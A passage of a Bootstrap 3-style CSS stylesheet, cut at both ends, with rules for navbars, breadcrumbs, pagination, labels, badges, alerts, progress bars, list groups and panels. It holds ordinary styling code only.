15px;\n}\n@media (min-width: 768px) {\n .navbar-text {\n float: left;\n margin-left: 15px;\n margin-right: 15px;\n }\n}\n@media (min-width: 768px) {\n .navbar-left {\n float: left !important;\n }\n .navbar-right {\n float: right !important;\n margin-right: -15px;\n }\n .navbar-right ~ .navbar-right {\n margin-right: 0;\n }\n}\n.navbar-default {\n background-color: #f8f8f8;\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n color: #777777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n color: #5e5e5e;\n background-color: transparent;\n}\n.navbar-default .navbar-text {\n color: #777777;\n}\n.navbar-default .navbar-nav > li > a {\n color: #777777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n color: #333333;\n background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n color: #555555;\n background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n color: #cccccc;\n background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n border-color: #dddddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n background-color: #dddddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n background-color: #888888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n background-color: #e7e7e7;\n color: #555555;\n}\n@media (max-width: 767px) {\n .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n color: #777777;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #333333;\n background-color: transparent;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #555555;\n background-color: #e7e7e7;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #cccccc;\n background-color: transparent;\n }\n}\n.navbar-default .navbar-link {\n color: #777777;\n}\n.navbar-default .navbar-link:hover {\n color: #333333;\n}\n.navbar-default .btn-link {\n color: #777777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n color: #333333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n color: #cccccc;\n}\n.navbar-inverse {\n background-color: #222222;\n border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n color: #ffffff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n color: #ffffff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n color: #ffffff;\n background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n color: #444444;\n background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n border-color: #333333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n background-color: #333333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n background-color: #ffffff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n background-color: #080808;\n color: #ffffff;\n}\n@media (max-width: 767px) {\n .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n border-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n color: #9d9d9d;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #ffffff;\n background-color: transparent;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #ffffff;\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #444444;\n background-color: transparent;\n }\n}\n.navbar-inverse .navbar-link {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n color: #ffffff;\n}\n.navbar-inverse .btn-link {\n color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n color: #ffffff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n color: #444444;\n}\n.breadcrumb {\n padding: 8px 15px;\n margin-bottom: 20px;\n list-style: none;\n background-color: #f5f5f5;\n border-radius: 4px;\n}\n.breadcrumb > li {\n display: inline-block;\n}\n.breadcrumb > li + li:before {\n content: \"/\\00a0\";\n padding: 0 5px;\n color: #cccccc;\n}\n.breadcrumb > .active {\n color: #777777;\n}\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: 20px 0;\n border-radius: 4px;\n}\n.pagination > li {\n display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n position: relative;\n float: left;\n padding: 6px 12px;\n line-height: 1.42857143;\n text-decoration: none;\n color: #337ab7;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n margin-left: -1px;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n margin-left: 0;\n border-bottom-left-radius: 4px;\n border-top-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n border-bottom-right-radius: 4px;\n border-top-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n z-index: 3;\n color: #23527c;\n background-color: #eeeeee;\n border-color: #dddddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n z-index: 2;\n color: #ffffff;\n background-color: #337ab7;\n border-color: #337ab7;\n cursor: default;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n color: #777777;\n background-color: #ffffff;\n border-color: #dddddd;\n cursor: not-allowed;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n border-bottom-left-radius: 6px;\n border-top-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n border-bottom-right-radius: 6px;\n border-top-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n border-bottom-left-radius: 3px;\n border-top-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n border-bottom-right-radius: 3px;\n border-top-right-radius: 3px;\n}\n.pager {\n padding-left: 0;\n margin: 20px 0;\n list-style: none;\n text-align: center;\n}\n.pager li {\n display: inline;\n}\n.pager li > a,\n.pager li > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.pager .next > a,\n.pager .next > span {\n float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n color: #777777;\n background-color: #ffffff;\n cursor: not-allowed;\n}\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: #ffffff;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n color: #ffffff;\n text-decoration: none;\n cursor: pointer;\n}\n.label:empty {\n display: none;\n}\n.btn .label {\n position: relative;\n top: -1px;\n}\n.label-default {\n background-color: #777777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n background-color: #5e5e5e;\n}\n.label-primary {\n background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n background-color: #286090;\n}\n.label-success {\n background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n background-color: #449d44;\n}\n.label-info {\n background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n background-color: #31b0d5;\n}\n.label-warning {\n background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n background-color: #ec971f;\n}\n.label-danger {\n background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n background-color: #c9302c;\n}\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: 12px;\n font-weight: bold;\n color: #ffffff;\n line-height: 1;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: #777777;\n border-radius: 10px;\n}\n.badge:empty {\n display: none;\n}\n.btn .badge {\n position: relative;\n top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n top: 0;\n padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n color: #ffffff;\n text-decoration: none;\n cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n color: #337ab7;\n background-color: #ffffff;\n}\n.list-group-item > .badge {\n float: right;\n}\n.list-group-item > .badge + .badge {\n margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n margin-left: 3px;\n}\n.jumbotron {\n padding-top: 30px;\n padding-bottom: 30px;\n margin-bottom: 30px;\n color: inherit;\n background-color: #eeeeee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n color: inherit;\n}\n.jumbotron p {\n margin-bottom: 15px;\n font-size: 21px;\n font-weight: 200;\n}\n.jumbotron > hr {\n border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n border-radius: 6px;\n}\n.jumbotron .container {\n max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n .jumbotron {\n padding-top: 48px;\n padding-bottom: 48px;\n }\n .container .jumbotron,\n .container-fluid .jumbotron {\n padding-left: 60px;\n padding-right: 60px;\n }\n .jumbotron h1,\n .jumbotron .h1 {\n font-size: 63px;\n }\n}\n.thumbnail {\n display: block;\n padding: 4px;\n margin-bottom: 20px;\n line-height: 1.42857143;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n border-radius: 4px;\n -webkit-transition: border 0.2s ease-in-out;\n -o-transition: border 0.2s ease-in-out;\n transition: border 0.2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n margin-left: auto;\n margin-right: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n border-color: #337ab7;\n}\n.thumbnail .caption {\n padding: 9px;\n color: #333333;\n}\n.alert {\n padding: 15px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.alert h4 {\n margin-top: 0;\n color: inherit;\n}\n.alert .alert-link {\n font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n margin-bottom: 0;\n}\n.alert > p + p {\n margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n}\n.alert-success {\n background-color: #dff0d8;\n border-color: #d6e9c6;\n color: #3c763d;\n}\n.alert-success hr {\n border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n color: #2b542c;\n}\n.alert-info {\n background-color: #d9edf7;\n border-color: #bce8f1;\n color: #31708f;\n}\n.alert-info hr {\n border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n color: #245269;\n}\n.alert-warning {\n background-color: #fcf8e3;\n border-color: #faebcc;\n color: #8a6d3b;\n}\n.alert-warning hr {\n border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n color: #66512c;\n}\n.alert-danger {\n background-color: #f2dede;\n border-color: #ebccd1;\n color: #a94442;\n}\n.alert-danger hr {\n border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n@keyframes progress-bar-stripes {\n from {\n background-position: 40px 0;\n }\n to {\n background-position: 0 0;\n }\n}\n.progress {\n overflow: hidden;\n height: 20px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: 12px;\n line-height: 20px;\n color: #ffffff;\n text-align: center;\n background-color: #337ab7;\n -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n -webkit-transition: width 0.6s ease;\n -o-transition: width 0.6s ease;\n transition: width 0.6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n -webkit-animation: progress-bar-stripes 2s linear infinite;\n -o-animation: progress-bar-stripes 2s linear infinite;\n animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.media {\n margin-top: 15px;\n}\n.media:first-child {\n margin-top: 0;\n}\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n.media-body {\n width: 10000px;\n}\n.media-object {\n display: block;\n}\n.media-object.img-thumbnail {\n max-width: none;\n}\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n.media-middle {\n vertical-align: middle;\n}\n.media-bottom {\n vertical-align: bottom;\n}\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n.list-group {\n margin-bottom: 20px;\n padding-left: 0;\n}\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n margin-bottom: -1px;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n}\n.list-group-item:first-child {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n}\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n color: #555555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n color: #333333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n text-decoration: none;\n color: #555555;\n background-color: #f5f5f5;\n}\nbutton.list-group-item {\n width: 100%;\n text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n background-color: #eeeeee;\n color: #777777;\n cursor: not-allowed;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n color: #777777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n z-index: 2;\n color: #ffffff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n color: #c7ddef;\n}\n.list-group-item-success {\n color: #3c763d;\n background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n color: #3c763d;\n background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n color: #fff;\n background-color: #3c763d;\n border-color: #3c763d;\n}\n.list-group-item-info {\n color: #31708f;\n background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n color: #31708f;\n background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n color: #fff;\n background-color: #31708f;\n border-color: #31708f;\n}\n.list-group-item-warning {\n color: #8a6d3b;\n background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning {\n color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n color: #8a6d3b;\n background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n color: #fff;\n background-color: #8a6d3b;\n border-color: #8a6d3b;\n}\n.list-group-item-danger {\n color: #a94442;\n background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n color: #a94442;\n background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n color: #fff;\n background-color: #a94442;\n border-color: #a94442;\n}\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n.panel {\n margin-bottom: 20px;\n background-color: #ffffff;\n border: 1px solid transparent;\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.panel-body {\n padding: 15px;\n}\n.panel-heading {\n padding: 10px 15px;\n border-bottom: 1px solid transparent;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n color: inherit;\n}\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: 16px;\n color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n color: inherit;\n}\n.panel-footer {\n padding: 10px 15px;\n background-color: #f5f5f5;\n border-top: 1px solid #dddddd;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n border-top: 0;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n border-bottom: 0;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n border-top-width: 0;\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n padding-left: 15px;\n padding-right: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n border-bottom-left-radius: 3px;\n border-bottom-right-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > 